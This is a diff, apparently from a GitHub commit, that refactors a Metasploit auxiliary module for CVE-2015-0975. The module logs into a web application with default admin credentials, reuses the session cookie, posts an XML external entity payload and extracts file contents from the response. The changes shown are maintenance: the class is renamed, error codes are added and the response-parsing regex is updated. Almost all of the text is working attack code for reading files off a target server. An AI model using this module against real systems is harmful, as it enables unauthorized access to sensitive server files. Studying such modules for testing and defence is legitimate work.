11require 'msf/core'
22require 'openssl'
33
4- class Metasploit3 < Msf ::Auxiliary
4+ class Metasploit4 < Msf ::Auxiliary
55
66 include Msf ::Exploit ::Remote ::HttpClient
77
@@ -23,13 +23,11 @@ def initialize(info = {})
2323 admin password of "admin" for security purposes.
2424 } ,
2525 'License' => MSF_LICENSE ,
26- 'Author' =>
27- [
26+ 'Author' => [
2827 'Stephen Breen <breenmachine[at]gmail.com>' , # discovery
2928 'Justin Kennedy <jstnkndy[at]gmail.com>' , # metasploit module
3029 ] ,
31- 'References' =>
32- [
30+ 'References' => [
3331 [ 'CVE' , '2015-0975' ]
3432 ] ,
3533 'DisclosureDate' => 'Jan 08 2015'
@@ -62,20 +60,20 @@ def run
6260 } )
6361
6462 if res . nil?
65- fail_with ( "No response from POST request" )
63+ fail_with ( Failure :: Unreachable , "No response from POST request" )
6664 elsif res . code != 302
67- fail_with ( "Non-302 response from POST request" )
65+ fail_with ( Failure :: UnexpectedReply , "Non-302 response from POST request" )
6866 end
6967
7068 unless res . headers [ "Location" ] . include? "index.jsp"
71- fail_with ( Failure ::Unknown , 'Authentication failed' )
69+ fail_with ( Failure ::NoAccess , 'Authentication failed' )
7270 end
7371
7472 cookie = res . get_cookies
7573
7674 print_status ( "Got cookie, going for the goods" )
7775
78- rand_doctype = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
76+ rand_doctype = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
7977 rand_entity1 = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
8078 rand_entity2 = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
8179 delimiter = SecureRandom . uuid
@@ -88,14 +86,13 @@ def run
8886
8987 res = send_request_raw ( {
9088 'method' => 'POST' ,
91- 'uri' => normalize_uri ( target_uri . path , 'rtc' , 'post/' ) ,
92- 'data' => xxe ,
89+ 'uri' => normalize_uri ( target_uri . path , 'rtc' , 'post/' ) ,
90+ 'data' => xxe ,
9391 'cookie' => cookie
9492 } )
9593
9694 # extract filepath data from response
97-
98- if res and res . code == 400 and res . message =~ /#{ delimiter } (.+)#{ delimiter } /
95+ if res && res . code == 400 && res . body =~ /title.+#{ delimiter } (.+)#{ delimiter } .+title/m
9996 result = $1
10097 print_good ( "#{ result } " )
10198 else
0 commit comments